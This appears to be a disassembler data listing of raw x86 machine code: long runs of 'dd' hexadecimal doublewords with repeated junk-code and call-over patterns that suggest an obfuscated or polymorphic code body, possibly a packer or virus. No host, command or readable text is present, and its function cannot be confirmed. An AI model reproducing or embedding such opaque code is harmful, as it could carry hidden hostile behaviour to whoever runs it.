		dd 4245489h, 4244481h, 14h, 0D1C35242h,	0E568D38Ah, 66B01678h
		dd 3481D68Bh, 0A7303D24h, 5FBB664Ch, 0E1B5FFD5h, 8107A80Ch
		dd 32399EDAh, 1A858D53h, 6A07AB78h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 10F1C351h
		dd 0E39B509h, 0D0FF07A8h, 7599589h, 858907A8h, 7A80D21h
		dd 7D58D31h, 0BD8307A8h, 7A82209h, 0CA850F01h, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 0E8A5C351h, 66E9EB28h, 614E80BAh,	30B19D8Bh
		dd 85C607A8h, 7A80619h,	2840F45h, 8B000000h, 525068D9h
		dd 8B66BA84h, 240481DEh, 1FDBE672h, 0CE1B5FFh, 2B5207A8h
		dd 0A808F595h, 858D5A07h, 7AB781Ah, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 1Ah, 0AC35040h, 11446338h, 0B960DC6Ch
		dd 72269001h, 6E8h, 69331000h, 8A3BBA93h, 8B615ECAh, 80D0FFDAh
		dd 6A9DEFh, 0E851006Ah,	3, 59C35920h, 4244C89h,	4244481h
		dd 17h,	32C35141h, 81B95B60h, 0CCC51BEAh, 3D0FF4Bh, 0A814FD9Dh
		dd 0D1BD8307h, 107A81Ah, 0EA850Fh, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 160424h, 56460000h, 46FABCC3h
		dd 2E5D9D8Bh, 858B07A8h, 7A82981h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ah, 17C35646h, 72591679h, 0F780C595h
		dd 74E9E7h, 6A0000h, 3E852h, 5A200000h,	54895AC3h, 44810424h
		dd 180424h, 52420000h, 0D2FD3C3h, 9D8BD6CCh, 7A82F3Dh
		dd 12E8h, 90490A00h, 85B5179Ah,	5C6390A8h, 7069BEF8h, 8B6FF06Eh
		dd 0A832C59Dh, 0BB505A07h, 0DF7D73h, 0F240489h,	68Dh, 25952B00h
		dd 6A07A830h, 759D8B14h, 0FF07A822h, 0A80D2195h, 5258FC07h
		dd 757FC281h, 665B3B97h, 3880D78Bh, 0C7850F00h,	66FFFFFFh
		dd 0CC0CCB81h, 0F18D8B60h, 0F07A829h, 0C661C6B7h, 0BD890100h
		dd 7A82719h, 0D1850961h, 8307A817h, 0A83535BDh,	840F0007h
		dd 5Eh,	0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh
		dd 39C35242h, 121E85BBh, 0DC3C7B79h, 29FF6A4Dh,	0A80E3D85h
		dd 2195FF07h, 8107A80Dh, 0C6A4A9EBh, 0FFE7E91Eh, 6AFFFFh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 0BEE73DC3h, 85C723B2h, 7A83535h, 1, 14E9h, 6D7BF800h
		dd 0DC237745h, 988A8D6Ah, 58CC8F89h, 0C694F390h, 0B28589C2h
		dd 6A07A84Dh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 16042444h, 43000000h, 0ED94C353h, 10E99069h,	0CA000000h
		dd 3D989E6Dh, 0EEB07C1h, 98D0A696h, 5001E9AFh, 5090DF8Bh
		dd 27F58D29h, 605B07A8h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 18h, 71C35040h, 311A5BABh,	7E9h, 0C5C18B00h
		dd 0F9FD5F45h, 0FA96BB66h, 6A056Ah, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 180424h, 50400000h, 0D18ABCC3h
		dd 830FE74Dh, 8, 4ECA8153h, 5A57CAD5h, 4DCA858Dh, 0B70F07A8h
		dd 0FE950D2h, 0BC000000h, 0A5F6020Ch, 7F3D1F8h,	0A7CDA63Dh
		dd 48950A9h, 0C8816024h, 57A77588h, 61CE8B66h, 0CE9h, 8ECECD00h
		dd 0C0AD5DF1h, 619A42E3h, 0BA858DA9h, 8907A84Dh, 0A8293D95h
		dd 4FB79007h, 8D0F6050h, 2, 8B66D18Bh, 899061D7h, 0A823EDBDh
		dd 28B25007h, 6195FF5Ah, 6A07A81Ah, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 9E5BC355h
		dd 193AB7BEh, 2B119D8Bh, 8D8D07A8h, 7A87A84h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0C1C35747h, 81D56711h
		dd 0E8E7B047h, 0Dh, 0CB0BFB50h,	95C9A671h, 2960B08Ah, 0FB6DBA1Ah
		dd 0B5B0286h, 8D1174C0h, 0A84DCA85h, 0D1FF5007h, 4DE88589h
		dd 0AEB07A8h, 4DE885C7h, 0FFFF07A8h, 6AFFFFh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 170424h, 52420000h, 0B6CA6AC3h
		dd 0D59D8B76h, 8907A81Bh, 0A82539B5h, 0AFDA8107h, 614DA404h
		dd 0F3DBD29h, 85C607A8h, 7A80619h, 91BD894Dh, 6807A824h
		dd 0DF27EBF3h, 50525060h, 66310F59h, 585AD88Bh,	2870Fh
		dd 5F510000h, 24348161h, 7B129D5Bh, 0FFD7B70Fh,	0A80765B5h
		dd 0BE95207h, 39000000h, 0E997472Eh, 0BA460DD9h, 8D5BA970h
		dd 0AB781A85h, 6AD0FF07h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1C042444h, 41000000h, 2B32C351h, 0D240581Ch
		dd 66C48F71h, 0E20AD281h, 29AD8589h, 6A07A8h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 160424h, 50400000h, 2AAEA5C3h
		dd 85C69CB3h, 7A80619h,	0D08B6645h, 4E8h, 72696900h, 10E88Eh
		dd 0FAD20000h, 67FB1CBCh, 99FA312Fh, 182C75A7h,	2EB75C59h
		dd 0D08B505Ah, 424448Bh, 8BDA8Ah, 4489DF8Bh, 89580424h
		dd 0A80E0DB5h, 0E1B5FF07h, 0F07A80Ch, 1480h, 0FE900h, 0FF70000h
		dd 2FD7E3Dh, 3564333Dh,	11E99F62h, 1A858DDFh, 6A07AB78h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 14042444h
		dd 42000000h, 0FF92C352h, 8BE381D0h, 895252E7h,	0A80A3D85h
		dd 798D8907h, 8B07A80Ah, 0DE9D2h, 1F230000h, 0DDB8C213h
		dd 0A97E513Fh, 667BC129h, 14E8D98Ch, 3F000000h,	0AF024773h
		dd 939CB53h, 1D0AD90Ch,	51C7FA9Fh, 33211796h, 0A803659Dh
		dd 0C1F65A07h, 0DC840F04h, 6A000001h, 3E85100h,	20000000h
		dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 3595C351h
		dd 4D8916A9h, 11E88Fh, 4B0D0000h, 0A7176C52h, 2989EA13h
		dd 0B6C4E8E1h, 811571B8h, 0F4F5E5C3h, 0EDE95B78h, 89000000h
		dd 0A82C3595h, 0C1B58B07h, 8B07A825h, 0A830BD9Dh, 0EFCA8007h
		dd 1180C681h, 9D890000h, 7A81A09h, 0BD83FC8Ah, 7A805A1h
		dd 48850F00h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 15C0C356h, 66CD7F3Ah
		dd 6368C281h, 85E923C7h, 0E8000000h, 13h, 16BEEFC8h, 0F60BB800h
		dd 0E39C43FCh, 0D6E8533Eh, 6671AA30h, 835BD88Bh, 840F003Eh
		dd 60h,	0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 18h, 5AC35646h, 962ADCE3h, 12E9h
		dd 94ED0100h, 0D729D728h, 972A530h, 35D49FB7h, 601514D2h
		dd 0D19D0Bh, 146A07A8h,	547D381h, 95FF4C62h, 7A80D21h
		dd 2F499589h, 296107A8h, 0A819A1B5h, 0FF99E907h, 0D68BFFFFh
		dd 106C7h, 950B0000h, 7A80AD5h,	4DB2BD83h, 0F0507A8h, 9E85h
		dd 8BD58A00h, 0A80A3DB5h, 9BD0107h, 6607A81Ah, 7AB8D281h
		dd 64B9h, 11B50100h, 8007A817h,	840FE83Eh, 13h,	459D8B52h
		dd 5A07A817h, 3AE9h, 31858900h,	8007A827h, 0FC2057Eh, 4E84h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1804h
		dd 0C3524200h, 0F4E4E2DBh, 0D98B606Ch, 35698589h, 466107A8h
		dd 57DBD89h, 0F4907A8h,	0FFFFA285h, 0F5DA80FFh,	1AE9h
		dd 28F0F00h, 0B2000000h, 199D8B84h, 8907A819h, 0A80AC1B5h
		dd 5D858907h, 5807A823h, 43D8D89h, 0BD8307A8h, 7A82FD9h
		dd 18840F00h, 0E9000001h, 12h, 0D10567C1h, 0AA21A476h
		dd 8CB62088h, 2FDAF3AEh, 57604DEAh, 5AFFCE80h, 61985C6h
		dd 0E85407A8h, 14h, 39E38D8Dh, 27665C31h, 6F2A470Bh, 44508B53h
		dd 0CF308ACh, 39BD0960h, 8B07A825h, 0A80F319Dh,	8B5A6107h
		dd 0A804CD9Dh, 0AAEC6807h, 0F18AED2Ch, 18243481h, 6A126214h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 18042444h
		dd 43000000h, 9006C353h, 80AAA951h, 0D38185F7h,	464D4B26h
		dd 0CE1B5FFh, 6A07A8h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 190424h, 55450000h, 0D3D158C3h, 0F978FDAh, 858DD1BFh
		dd 7AB781Ah, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Ah,	6BC35545h, 0AAE19B91h, 958B5BC8h, 7A80621h, 0B589D0FFh
		dd 7A802FDh, 950B006Ah,	7A80811h, 2FD9B5FFh, 9D8B07A8h
		dd 7A80E29h, 0B70FD0FFh, 806061DFh, 0E960B3E5h,	5, 0F207E2E4h
		dd 46B866D2h, 0C76161BDh, 0A8188585h, 107h, 0AE900h, 221E0000h
		dd 6BB50593h, 80F0F996h, 13E860h, 0D6EA0000h, 0C0189DC2h
		dd 0BD6CE064h, 57045A9Fh, 117D3997h, 0FD958B8Bh, 5B07A827h
		dd 4E8h, 8000h,	12E900h, 0A5150000h, 2462D885h,	0F0421122h
		dd 0B378C933h, 94D32B87h, 24448B50h, 84BA6604h,	60008BE8h
		dd 13E8h, 8D0C9D00h, 78CC2F8Ch,	9E4CFF5Ch, 7A6422E9h, 76AD636Fh
		dd 0F585850h, 285h, 61616000h, 4244489h, 94DABA66h, 55006A58h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1A04h, 0C3554500h
		dd 9FB4662Bh, 0B21315CBh, 0D6B70F34h, 8166FF6Ah, 80C45EC3h
		dd 95FF5AC2h, 7A8060Dh,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 18h, 7DC35141h, 0F99C8168h, 10818509h, 6A6107A8h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1A042444h
		dd 47000000h, 0D6D9C357h, 0BF9962B7h, 0A595894Bh, 5007A823h
		dd 4893FB2h, 53006A24h,	3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1604h, 0C3534300h, 661D2E2Fh, 8BF99DBAh, 0A82DE985h
		dd 0F5952307h, 0B07A828h, 34840FC0h, 6A000000h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 0B970C353h, 222CF7A1h, 9BF381C9h, 0FF180A95h, 0A827D595h
		dd 9B52907h, 0C707A832h, 0A8213D85h, 107h, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h
		dd 2F45D513h, 0BA79FFEFh, 4384D1D7h, 2D85BD83h,	0F0007A8h
		dd 2784h, 88E0F00h, 52000000h, 2219B589h, 0FF5B07A8h, 0A8069995h
		dd 8E907h, 454E0000h, 0EA742BEAh, 9D31A8C4h, 7A81B69h
		dd 0F05BD83h, 0F0007A8h, 2884h,	0DF8B6600h, 38D95FFh, 0E96007A8h
		dd 9, 0A747FE69h, 702F0003h, 0AE974h, 79720000h, 0D1BDB1Bh
		dd 0A84D1880h, 0CDBD8361h, 7A834h, 25840Fh, 0F3810000h
		dd 37FDF5BCh, 3565BD83h, 0F0007A8h, 1285h, 0FBEE8000h
		dd 253D95FFh, 0BF0F07A8h, 5D9D8BD0h, 8307A81Bh,	0A82725BDh
		dd 840F0007h, 40h, 19F58D89h, 858107A8h, 7A82585h, 4003h
		dd 24119D8Bh, 858107A8h, 7A80ECDh, 4003h, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 14h, 0BEC35646h, 0F311BB66h
		dd 6A310Fh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
		dd 56460000h, 3226E6C3h, 3BE280E5h, 5E158D8Dh, 18907A8h
		dd 10FD9D01h, 0C23307A8h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 19h, 8FC35141h, 0F39058CCh, 4418994h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0F3C35646h, 875D13B0h
		dd 0A1BD8957h, 5A07A82Ch, 6A310Fh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 190424h, 57470000h, 278022C3h, 816BAC75h
		dd 2A16AE2h, 258D8D36h,	8907A85Eh, 0A82985B5h, 0DBB70F07h
		dd 8D010189h, 7A82949h,	6AC233h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1B0424h, 56460000h, 284C51C3h, 0AC6E74DFh
		dd 0DD958B7Ah, 8907A81Dh, 0CE90441h, 0D2000000h, 0FE4C5F0Eh
		dd 98504F4Ch, 834E382Fh, 0A80449BDh, 840F0007h,	51h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 16h, 0DBC35040h, 47B3C944h
		dd 354195FFh, 6A07A8h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1D0424h, 55450000h, 0D4EF3EC3h, 16346005h, 89FEFE6Eh
		dd 0A8256995h, 9DBD8307h, 107A82Fh, 67850Fh, 810F0000h
		dd 6, 3241B529h, 0DF8B07A8h, 54E9h, 0CE800h, 48B0000h
		dd 4A22DF66h, 65ED1820h, 0F58A5DC4h, 8DBD315Ah,	8B07A82Ah
		dd 0A85FC7B5h, 6C707h, 8B000000h, 0A85D67B5h, 6C707h, 0CF000000h
		dd 11E9h, 5D1B200h, 1183871Bh, 9C13C191h, 0A29EF7D3h, 9CBA2F22h
		dd 8906FDC0h, 0A824E19Dh, 3DBD8307h, 7A821h, 1C2840Fh
		dd 958B0000h, 7A80DE1h,	86DBD83h, 0F0107A8h, 1A085h, 0BD958B00h
		dd 8B07A828h, 0A84DA68Dh, 53006A07h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 0E9C5F064h
		dd 0Ch,	0B4D78D39h, 0B09F331Eh,	1BE602Fh, 8B0001C6h, 0A8218D9Dh
		dd 6A6007h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
		dd 52420000h, 0E6F874C3h, 7E9B9h, 4BAA0000h, 8DA9FAE1h
		dd 4E8C7h, 800000h, 8B660000h, 448B50DFh, 52500424h, 85DF61BAh
		dd 0E9310F4Eh, 0Bh, 9EFE955h, 5623512Ah, 5A62E0BAh, 0F008B58h
		dd 1980h, 5E800h, 661F0000h, 0E981D7F0h, 9, 0A2FAE0A2h
		dd 7D1A4A6h, 44895B7Bh,	810F0424h, 0Ch,	68A0Fh,	820F0000h
		dd 0
		dd 55006A58h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1404h
		dd 0C3554500h, 0D08B667Fh, 8951FF6Ah, 0A8295D85h, 0F3805B07h
		dd 0D95FFDDh, 6A07A806h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 14042444h, 45000000h, 8109C355h, 7B4434CBh
		dd 6A6101h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
		dd 53430000h, 0B70FB1C3h, 0FFC60D2h, 18Bh, 0FF61F900h
		dd 0A82E6995h, 48C0F07h, 66000000h, 8B6A9CBAh, 0A84DA68Dh
		dd 12830F07h, 60000000h, 0D9D7BA66h, 6E8h, 74BEDD00h, 5E0B7CBFh
		dd 6001FE61h, 0FBBD080h, 138Fh,	0EE900h, 57770000h, 4841D7B0h
		dd 0A9A324E9h, 6159F744h, 65BD8361h, 107A82Dh, 2850Fh
		dd 0F38A0000h, 8B0FC08Bh, 3, 833DF280h,	0A827F9BDh, 9750007h
		dd 605BD83h, 740007A8h,	8B53501Ah, 85858BC0h, 8907A825h
		dd 0A8258585h, 239D8D07h, 0FF07AAB0h, 83585BD3h, 0A80605BDh
		dd 18740007h, 858B5350h, 7A82585h, 25858589h, 9D8D07A8h
		dd 7AAAD12h, 585BD3FFh,	5F6DA81h, 1577078h, 0A824B5B5h
		dd 0C08B5B07h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 19h,	48C35646h, 7202708Dh, 0D28166D0h, 0BD83EEDCh, 7A8213Dh
		dd 39850F00h, 66000000h, 0BD83D78Bh, 7A8193Dh, 29840F00h
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1C042444h, 42000000h, 0D9F7C352h, 90F2CD53h,	0BBD0ADEDh
		dd 15D2B31Bh, 213DBD83h, 0F0007A8h, 5584h, 0A72FBA00h
		dd 0BD8350C9h, 7A807F1h, 43840F00h, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 5671C350h, 82984D08h, 0CB6229D8h, 0CE8h, 5EA79C00h
		dd 0E32A333Bh, 21BE00ECh, 61B5293Ch, 5A07A81Bh,	275D9D89h
		dd 0BD8307A8h, 7A8213Dh, 19840F00h, 1000000h, 0A814C98Dh
		dd 0F1BD8307h, 7A807h, 6840Fh, 0B5890000h, 7A81C91h, 213DBD83h
		dd 0F0007A8h, 4184h, 0BD896000h, 7A82235h, 8361F88Bh, 0A81985BDh
		dd 840F0007h, 2Ah, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 3FC35343h, 24F852h, 8D89F746h, 7A80AADh
		dd 0BD832FB7h, 7A8213Dh, 47840F00h, 89000000h, 0A80005BDh
		dd 39BD8307h, 7A822h, 34840Fh, 95890000h, 7A80BEDh, 29C5BD29h
		dd 95FF07A8h, 7A81875h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ah, 5EC35040h, 3147B87Ch,	0C08B3782h, 6E8h
		dd 97C8500h, 66FA1969h,	0FC5BD38Bh, 27F9BD83h, 750007A8h
		dd 5BD8309h, 7A806h, 53501A74h,	858BC08Bh, 7A80ECDh, 0ECD8589h
		dd 9D8D07A8h, 7AAB08Ah,	585BD3FFh, 605BD83h, 740007A8h
		dd 8B535018h, 0A80ECD85h, 0CD858907h, 8D07A80Eh, 0AAAD2B9Dh
		dd 5BD3FF07h, 55006A58h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1B04h, 0C3554500h, 9E835E7Fh, 476ADED6h, 6D858956h
		dd 5B07A814h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 19h,	63C35141h, 2DD4F7D9h, 0D18D899Fh, 8907A805h, 0A81AFDB5h
		dd 6AC08B07h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1B042444h, 46000000h, 0BB72C356h, 70562944h,	850FA635h
		dd 6, 5699589h,	0BD8307A8h, 7A8213Dh, 40840F00h, 0BB000003h
		dd 389B29A3h, 2209BD83h, 0F0207A8h, 3584h, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h
		dd 832538ACh, 0A82F9DBDh, 850F0107h, 0Ah, 5E9h,	85FA1500h
		dd 160C967h, 0A8104195h, 0AD952307h, 8B07A80Ah,	0A84DA68Dh
		dd 1D952B07h, 8007A810h, 1FE76F3h, 2A21952Bh, 4E807A8h
		dd 80000000h, 53000000h, 8E852h, 0DF540000h, 1441EB00h
		dd 5B5AFDD2h, 8B66505Ah, 24448BDAh, 5E904h, 2BE20000h
		dd 8B5FF62Ch, 0AE800h, 69400000h, 3522A0D2h, 4F06B1D0h
		dd 5BD18B66h, 4244489h,	0FABA6657h, 6A585A52h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
		dd 8115C351h, 0D36AACCAh, 89FF6A1Fh, 0A8352D95h, 95FFF507h
		dd 7A8060Dh, 55006A61h,	3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1B04h, 0C3554500h, 26468172h, 0F065D112h, 22D5BD8Dh
		dd 0E28107A8h, 44F10399h, 6A1C4F8Bh, 8B50F501h,	240C89D9h
		dd 2709B501h, 858D07A8h, 7AB41FDh, 0FFDE8B66h, 34C680D0h
		dd 6A204F8Bh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1D042444h, 47000000h, 0E8BDC357h, 20C72390h,	7FAE60FFh
		dd 3034E6BAh, 60036A19h, 61C88B66h, 892FB350h, 8A0F240Ch
		dd 1, 0BE8FCh, 16D60000h, 96C2F928h, 0C50F8F42h, 0CE983h
		dd 60F60000h, 9FA87A3Fh, 47170C9Fh, 8D5BD0F6h, 0AB41FD85h
		dd 0EB816607h, 0D0FFB898h, 8DD6BF0Fh, 0A822D5BDh, 6820F07h
		dd 2B000000h, 0A82CE595h, 1C4F8B07h, 4D1BBB66h,	0F381016Ah
		dd 4412EEA1h, 6870Fh, 9D2B0000h, 7A832B9h, 13E850h, 5A4E0000h
		dd 0E69E93CDh, 287372B7h, 0E9FD14Ch, 2673F002h,	0F58A60E5h
		dd 5B615A50h, 0B3240C89h, 0FD858D74h, 0F07AB41h, 683h
		dd 1D9D2B00h, 0FF07A809h, 0A59589D0h, 8B07A81Bh, 6A204Fh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 0AC66D3C3h, 0CBBA4332h, 0E827CD26h, 0Dh, 0C8E0A0E0h
		dd 0E175DA91h, 5652C57Ch, 89958B6Bh, 5A07A814h,	36ADE8Bh
		dd 10E950F5h, 53000000h, 5724DD07h, 0C54C5C37h,	0C5085EE2h
		dd 8952CBD6h, 9D29240Ch, 7A8273Dh, 41FD858Dh, 6A07ABh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 457640C3h, 86228382h, 251D9531h, 0C38107A8h,	4B83DBD9h
		dd 23BAD0FFh, 8B006D8Fh, 0A84DA68Dh, 0FEDE8B07h, 8B8BB301h
		dd 0A84DA685h, 0A99D0107h, 0FE07A817h, 5B50100h, 6A07A80Ah
		dd 55006A01h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1604h
		dd 0C3554500h, 0F85C18F9h, 763B9568h, 0D78B66FFh, 6A240481h
		dd 8B008964h, 0A807C195h, 7858D07h, 6A07AB42h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 0CAB9C351h, 0D0FF0123h, 0BE666050h, 8B6689B2h, 835B61CFh
		dd 0A8193DBDh, 840F0007h, 0F4h,	83D6B70Fh, 0A806A5BDh
		dd 850F0107h, 0E4h, 0E850006Ah,	3, 58C35820h, 4244489h
		dd 4244481h, 17h, 0FEC35040h, 0E9CC7F33h, 13h, 0FBCD32DEh
		dd 0BFB5F1D6h, 5A966AF7h, 55DD3E45h, 0E99FAFDEh, 6, 7E72F8F0h
		dd 8D8D4244h, 7AB4211h,	1DD18501h, 36A07A8h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0B5C35747h, 5AFEB2B3h
		dd 66F5209Dh, 6A581ABBh, 1D958B01h, 0FF07A805h,	0B58960D1h
		dd 7A8049Dh, 0E9016A61h, 0Ah, 3C8A4954h, 0E0845BDDh, 9589894Ch
		dd 7A81CFDh, 9D89016Ah,	7A825D9h, 7E9D1FFh, 4D000000h
		dd 0E29A8DFAh, 8CE86D2Dh, 6AF8B36Dh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h
		dd 6973C353h, 24319D23h, 958B07A8h, 7A82291h, 8D89206Ah
		dd 7A81019h, 6AFF6Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1D0424h, 51410000h, 33E1A2C3h, 0A563E768h, 89A3C4C3h
		dd 0A80EC5B5h, 0F5852907h, 0FF07A833h, 0A8060D95h, 0B8D08B07h
		dd 0
		dd 0BD6BF0Fh, 62840FC0h, 0FC000000h, 1B39BD83h,	0F0007A8h
		dd 5484h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1604h, 0C3524200h, 0FF927872h, 0A826A595h, 57006A07h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1404h, 0C3574700h
		dd 8840FE3h, 60000000h,	3525858Bh, 896107A8h, 0A81BE19Dh
		dd 81858B07h, 6A07A829h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 11B9C357h, 0C684370Fh
		dd 890F0000h, 6, 2FDBD89h, 315807A8h, 0A825EDB5h, 0D98C6607h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0D6C35343h
		dd 5F011FE1h, 80C8B959h, 4810F4Dh, 66000000h, 0F6F785BBh
		dd 840F04C1h, 66h, 0EE95257h, 0EB000000h, 6CEF46A8h, 2A1658A2h
		dd 62B17468h, 0E95A5AC3h, 4Ah, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 17h, 97C35646h, 8B26C7F9h, 0A825C1B5h
		dd 5E807h, 0A4810000h, 9B22E2Ah, 0A80A418Dh, 0C6815B07h
		dd 1180h, 882DB81h, 6C77BA8h, 0
aNJ		db '³N^j',0
		db 55h,	0E8h, 3
		dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h
		dd 0B074C355h, 0E6F780FCh, 0F00F883h, 0A2E84h, 0F5C28100h
		dd 83675599h, 850F01F8h, 1A4h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ch, 5DC35646h, 0E4639894h, 44754F17h
		dd 8E9h, 8D6EF700h, 64023A46h, 0B8D88B5Ah, 0
		dd 0C00B9AB6h, 0CC840Fh, 9D030000h, 7A82441h, 0F01F883h
		dd 0F384h, 0DFB70F00h, 0F03F883h, 7884h, 14E900h, 0B4980000h
		dd 9FAC0999h, 12739CB3h, 2CF574BCh, 0ACE78B98h,	958B5FBDh
		dd 7A8311Dh, 6AC02Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1D0424h, 55450000h, 2BD81C3h, 0D5602C7Dh, 0F5BA8614h
		dd 89E0BD8Dh, 6A005Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 150424h, 51410000h, 2B5C55C3h, 0A803659Dh, 7CD28007h
		dd 0F780E7FFh, 1B862h, 6A0000h,	3E852h,	5A200000h, 54895AC3h
		dd 44810424h, 170424h, 52420000h, 486ED8C3h, 0E0BD8DECh
		dd 60005B89h, 235D8529h, 0B96607A8h, 0FF61FFBCh, 0BD8DFCE7h
		dd 7A84432h, 2F18589h, 61E907A8h, 6A000002h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 81FAC356h, 0BD31613Eh, 7A82421h, 4E0185C7h, 507A8h
		dd 0E9600000h, 0Eh, 44755BCh, 44DDE7E2h, 83AF72DBh, 9D8BC2B9h
		dd 7A80B71h, 24E2BB61h,	5B83F39h, 51000000h, 1CB1B589h
		dd 0E95B07A8h, 834h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Bh, 0F1C35141h, 494C20BEh, 0F5BED4F2h, 0F02F883h
		dd 0AA85h, 55958900h, 0B807A829h, 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 15C35646h
		dd 0C19834Fh, 0C34CB249h, 44DA819Dh, 0B1A362Ch,	3A840FC0h
		dd 0F000000h, 0F883D1B7h, 4D840F01h, 0FFFFFFFh,	0F883DEB7h
		dd 0D2840F03h, 52FFFFFEh, 29DD9D29h, 0B85B07A8h, 0
aLNRi		db '‹Ø½à‰[',0
		dd 0C26731BBh, 81E7FF46h, 9A80D4DAh, 2ABD8D5Dh,	0F07A846h
		dd 4DE9DBB7h, 6A000001h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 16042444h, 47000000h, 0B278C357h,	0F59D8B05h
		dd 8307A828h, 850F03F8h, 3Dh, 5AD8D89h,	0BD8D07A8h, 7A847BEh
		dd 1359958Bh, 9E907A8h,	6A000001h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 582C352h
		dd 21CED6CEh, 8AF977ACh, 5F883DAh, 17850Fh, 0BB660000h
		dd 5E929CDh, 0B6000007h, 6880F64h, 89000000h, 0A82D6D9Dh
		dd 6F88307h, 3D850Fh, 8DFC0000h, 0A849B6BDh, 558D8907h
		dd 0E907A80Ch, 0A8h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ch, 36C35141h, 0C321751h,	0BF5AD058h, 23FD9D23h
		dd 83F907A8h, 850F07F8h, 2Dh, 2D61B589h, 870F07A8h, 6
		dd 2DEDB529h, 0BD8D07A8h, 7A8111Dh, 0B19D89FCh,	0E907A818h
		dd 0D5h, 3379B529h, 8B6607A8h, 0AF883D3h, 3E850Fh, 6A0000h
